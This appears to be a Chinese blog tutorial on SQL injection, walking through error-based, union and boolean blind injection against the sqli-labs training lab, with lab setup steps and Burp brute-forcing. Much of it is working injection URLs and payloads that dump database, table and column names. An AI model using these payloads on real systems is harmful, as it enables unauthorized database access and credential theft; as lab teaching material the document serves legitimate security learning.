SQL注入-上篇

SQL注入

注入是web安全的头号大敌。注入攻击漏洞往往是应用程序缺少对输入进行安全性检查所引起的。攻击者把一些包含攻击代码当做命令或者查询语句发送给解释器,这些恶意数据可以欺骗解释器,从而执行计划外的命令或者未授权访问数据。注入漏洞通常能sql查询,ldap查询,os命令,程序参数等中出现。

SQL注入常用函数

version() #数据库版本
database() 当前数据库名
user() 用户名
current_user() 当前用户名
system_user() 系统用户名
@@datadir 数据库路径
@@version_compile_os 操作系统版本

# 字符串函数
length() # 返回字符串长度
mid() left() right() substr() # 截取字符串
concat() # 没有分隔符连接字符串
concat_ws() # 含有分隔符连接字符串
group_concat() # 连接一个组的字符串
ord() # 返回ASCII码
ascii() # 字符转ascii码
md5() #返回md5值
floor(x) # 不大于x的最大整数
round(x) # 返回参数x接近的整数
rand(x) # 0-1之间的随机浮点数
sleep() #睡眠时间
if(true,t,f) # IF

# 重要的数据库
information_schema # 包含mysql中所有数据库信息
# 重要的表
schemate # mysql中所有数据库的信息
  schema_name #所有的数据库名
tables # 数据库表中的信息
  table_name #记录数据表名
columns #列信息
  column_name #字段名

示例:

use `security`;
# 查询mysql 中的所有数据库
# 结果 :information_schema,challenges,dvwa,mysql,performance_schema,security,test
select GROUP_CONCAT(SCHEMA_NAME ) from information_schema.SCHEMATA ;

# 查询 security数据库中的所有表
# 结果:emails,referers,uagents,users
select group_concat(table_name) from information_schema.TABLES where TABLE_SCHEMA = database();

# 查询security数据库中users表的的字段信息
# 结果:id,username,password
select GROUP_CONCAT(column_name) from information_schema.COLUMNS where TABLE_SCHEMA= database() and table_name='users';

注入流程

1 使用单引号判断是字符型还是数字型
类型选择
2  有显示位:union
3  无显示位:但是网页会根据代码而改变: 布尔盲注
4  无显示位,网页也不会变化,具体看网站的回显时间:时间盲注

注入检测

一、字符型检测(Less-1)

源SQL:$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

  1. 在url后拼接单引号
# Less-1
# url编码: %27表示'
# 页面不出现sql错误,则可以注入
http://10.196.93.56/sqli-labs/Less-1/?id=3%27

  1. url拼接通用条件
# Less-1
# -- - 表示mysql注释信息
# and 1=1 (通用条件,永远为True)
http://10.196.93.56/sqli-labs/Less-1/?id=1 ' and 1=1 -- -

# 或
http://10.196.93.56/sqli-labs/Less-1/?id=' or 1=1 -- -

二、数字型注入检测(Less-2)

源SQL:$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";

# 拼接单引号
http://10.196.93.56/sqli-labs/Less-2/?id=1# 结果:报错 
# You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' LIMIT 0,1' at line 1

# 添加注释信息
http://10.196.93.56/sqli-labs/Less-2/?id=1 -- -
# 结果:成功

# 数字型
http://10.196.93.56/sqli-labs/Less-2/?id=1 or 1=1
# 结果:成功

三、搜索型注入探测

image.png

四、xx型注入探测

image.png

sqli-labs靶场搭建

  1. 下载地址:https://github.com/Audi-1/sqli-labs
  2. 下载完成后将文件夹放入到Apache根目录中。
    1. 例如:E:\PHP\httpd-2.4.59-240605-win64-VS17\Apache24\htdocs\sqli-labs
    2. sqli-labs为靶机目录
    3. 访问:http://localhost:8099/sqli-labs/index.html
      image.png
  3. 修改数据库配置:
# 位置:E:\PHP\httpd-2.4.59-240605-win64-VS17\Apache24\htdocs\sqli-labs\sql-connections\db-creds.inc
# 修改数据库连接信息

<?php

  //give your mysql connection username n password
$dbuser ='root';
$dbpass ='root';
$dbname ="security";
$host = '127.0.0.1';
$dbname1 = "challenges";



?>

  1. 网站初始化
    1. 进入到页面,点击setup连接
      1. 若失败可能原因:
        1. mysql版本太高,切换到5点几版本
        2. php版本使用7以下
        3. 没有配置数据库信息
      2. 初始化成功页面
        image.png

union注入

关键字union,作用就是将多条查询语句的结果合并成一个结果集。

一、查询示例

# mysql 两种注释方法:# 和--
# 两种注释方法都是单行注释,如果换行了注释则不生效。

use `security`;
select * from users where 1=1 #
union select 1,1,2 ;
# 结果 

// 1	Dumb	Dumb
// 2	Angelina	I-kill-you
// 3	Dummy	p@ssword
// 4	secure	crappy
// 5	stupid	stupidity
// 6	superman	genious
// 7	batman	mob!le
// 8	admin	admin
// 1	1	2

二、判断列数(Less-1)

# 使用order by 或group by
# 从1开始,直到报错,即可知道列数
http://10.196.93.56/sqli-labs/Less-1/?id=1' order by 4 -- 
# 返回结果:Unknown column '4' in 'order clause'

http://10.196.93.56/sqli-labs/Less-1/?id=1' order by 3 -- 
#返回结果:正常



三:union注入(Less-1)

  1. 显示位判断
# 让前一条sql语句查询不到值,从而从后面的sql语句显示在页面上
http://10.196.93.56/sqli-labs/Less-1/?id=3333' union select 1,2,3 -- 

image.png

  1. 查询数据库当前用户
http://10.196.93.56/sqli-labs/Less-1/?id=-1' union select 1,user(),3  -- -

image.png

  1. 查询当前数据库
http://10.196.93.56/sqli-labs/Less-1/?id=-1' union select 1,database(),3  -- -

image.png

  1. 查询mysql中的所有数据库
    1. 方法一:limit
# 数据库:information_schema
# 查询所有数据库语句
# select SCHEMA_NAME from information_schema.SCHEMATA 
# 因为页面只显示一条数据,所以使用limit 来切换数据
http://10.196.93.56/sqli-labs/Less-1/?id=-1' union select 1, (select SCHEMA_NAME from information_schema.SCHEMATA limit 2,1) ,3  -- -
# 使用字符串连接符:group_concat()




image.png

  1. 方法二:group_concat()
# 使用GROUP_CONCAT()方法将查询的数据连接成一行
# select group_concat(SCHEMA_NAME) from information_schema.SCHEMATA 
http://10.196.93.56/sqli-labs/Less-1/?id=-1' union select 1, (select  GROUP_CONCAT(SCHEMA_NAME ) from information_schema.SCHEMATA ) ,3  -- -

image.png

  1. 查询security数据库中的表名字
# 查询 security数据库中的所有表
select group_concat(table_name) from information_schema.TABLES where TABLE_SCHEMA = 'security';
#或 database() 表示当前数据库
select group_concat(table_name) from information_schema.TABLES where TABLE_SCHEMA = database();
# 注入
http://10.196.93.56/sqli-labs/Less-1/?id=-1' union select 1, (select group_concat(table_name) tables from information_schema.TABLES where TABLE_SCHEMA = 'security') ,3  -- -

image.png

  1. 查询security数据库中users表的的字段信息
# sql语句
select GROUP_CONCAT(column_name) from information_schema.COLUMNS where TABLE_SCHEMA= database() and table_name='users';
# 注入
http://10.196.93.56/sqli-labs/Less-1/?id=-1' union select 1,(select GROUP_CONCAT(column_name) from information_schema.COLUMNS where TABLE_SCHEMA= database() and table_name='users'),3  -- -

image.png

SQL盲注

模拟环境:Less-1 、Less-8
修改页面:
image.png

一、概述

盲注是指在不知道数据库返回值的情况下对数据中的内容进行猜测,实施SQL注入,盲注一般分为布尔盲注和基于时间的盲注和报错的盲注。

二、布尔盲注

  1. 需要用到的sql函数
length() # 字符长度
Substr() # 截取字符
ascii()  # 返回ascii编码
sleep(n) # 睡眠
if(条件,True,False) #判断
  1. 是否能注入判断方法(都是使用单引号判断)
    1. 源SQL:"SELECT * FROM users WHERE id='$id' LIMIT 0,1"
http://10.196.93.56/sqli-labs/Less-1/?id=1' -- 

image.png

  1. 猜测出数据库的长度位数
# 通过多次查看显示的值来判断数据库的长度
# 结果:8
SELECT * FROM users WHERE id= '1' and length(database())=8  LIMIT 0,1
# 注入:
http://10.196.93.56/sqli-labs/Less-1/?id=1'  and length(database())=8 -- 

image.png

  1. 猜测当前数据库的名称
# 通过将substr()函数分别截取名称字符,在将字符转为ascill码,通过数字判断进行爆破

# 结果为:115
select ascii(substr( database(),1,1))

#sql 
use security;
select * from users where id ='1' and ascii(substr(database(),1,1)) =115

# 注入
http://10.196.93.56/sqli-labs/Less-1/?id=' or ascii(substr(database(),1,1)) =115 -- 


image.png

  1. 使用burp 进行数据库名称爆破
    1. 抓包并发送到爆破模块
      1. image.png
    2. 选择各种组合模式并设置变量
      1. url:/sqli-labs/Less-1/?id=%27or%20substr(database(),§1§,1)=%20"§s§"%20%20%23
      2. image.png
    3. 变量1设置
      1. image.png
    4. 变量s设置
      1. image.png
    5. 开始爆破
      1. 长度为890的则为正确字符,通过组合则可以得到真实数据库名称
      2. image.png
  2. 查询security 数据库中有多少张表
    1. 4张
#sql 
select * from security.users where id ='1' and (select count(*) from information_schema.tables where `TABLES`.table_schema ='security')=4 --
#注入
http://10.196.93.67/sqli-labs/Less-1/?id=1 ' and   (select count(*) from information_schema.tables where `TABLES`.table_schema ='security')=4 --  
  1. 查询数据库中的表名
    1. emails/referers/uagents/users
# sql
select * from security.users where id ='1'  and substr((select table_name from information_schema.tables where `TABLES`.table_schema ='security' limit 0,1),2,1)="e" --
# 注入
http://10.196.93.67/sqli-labs/Less-1/?id= ' or  substr((select table_name from information_schema.tables where `TABLES`.table_schema ='security' limit 0,1),1,1)="e" -- 
  1. 查询emails表的字段长度
    1. 字段个数
# sql
select * from `security`.users where id="1" and (select count(*) from information_schema.`COLUMNS` where TABLE_NAME='emails') =2 -- 
# 注入
http://10.196.93.67/sqli-labs/Less-1/?id=1 ' and  (select count(*) from information_schema.`COLUMNS` where TABLE_NAME='emails') =2 -- 
  1. 查询emails表的字段名
    1. id …
# sql
select * from `security`.users where id="1" and substr((select COLUMN_NAME from information_schema.`COLUMNS` where TABLE_NAME='emails' limit 0,1),1,1)='i' --
# 注入
http://10.196.93.67/sqli-labs/Less-1/?id=1 ' and substr((select COLUMN_NAME from information_schema.`COLUMNS` where TABLE_NAME='emails' limit 0,1),1,1)='i' -- 

相关推荐

  1. SQL注入--基础部分

    2024-06-18 05:34:02       19 阅读
  2. <span style='color:red;'>sql</span><span style='color:red;'>注入</span>

    sql注入

    2024-06-18 05:34:02      31 阅读
  3. <span style='color:red;'>SQL</span><span style='color:red;'>注入</span>

    SQL注入

    2024-06-18 05:34:02      33 阅读
  4. SQL注入

    2024-06-18 05:34:02       18 阅读
  5. <span style='color:red;'>SQL</span><span style='color:red;'>注入</span>

    SQL注入

    2024-06-18 05:34:02      14 阅读

最近更新

  1. TCP协议是安全的吗?

    2024-06-18 05:34:02       18 阅读
  2. 阿里云服务器执行yum,一直下载docker-ce-stable失败

    2024-06-18 05:34:02       19 阅读
  3. 【Python教程】压缩PDF文件大小

    2024-06-18 05:34:02       18 阅读
  4. 通过文章id递归查询所有评论(xml)

    2024-06-18 05:34:02       20 阅读

热门阅读

  1. Compose 可组合项 - 抽屉式导航栏 Drawer

    2024-06-18 05:34:02       9 阅读
  2. CentOS:安装NodeJs

    2024-06-18 05:34:02       6 阅读
  3. 家庭教育孩子的十大方法!家长一定要知道

    2024-06-18 05:34:02       10 阅读
  4. 反悔贪心,LeetCode 2813. 子序列最大优雅度

    2024-06-18 05:34:02       10 阅读
  5. MCU嵌入式AI开发笔记-视频笔记同步更新

    2024-06-18 05:34:02       9 阅读
  6. Kafka使用教程和案例详解

    2024-06-18 05:34:02       9 阅读
  7. Leetcode 45. 跳跃游戏 II(DP 双指针)

    2024-06-18 05:34:02       9 阅读
  8. 第九章 Three.js 高级材质与着色器 (一)

    2024-06-18 05:34:02       7 阅读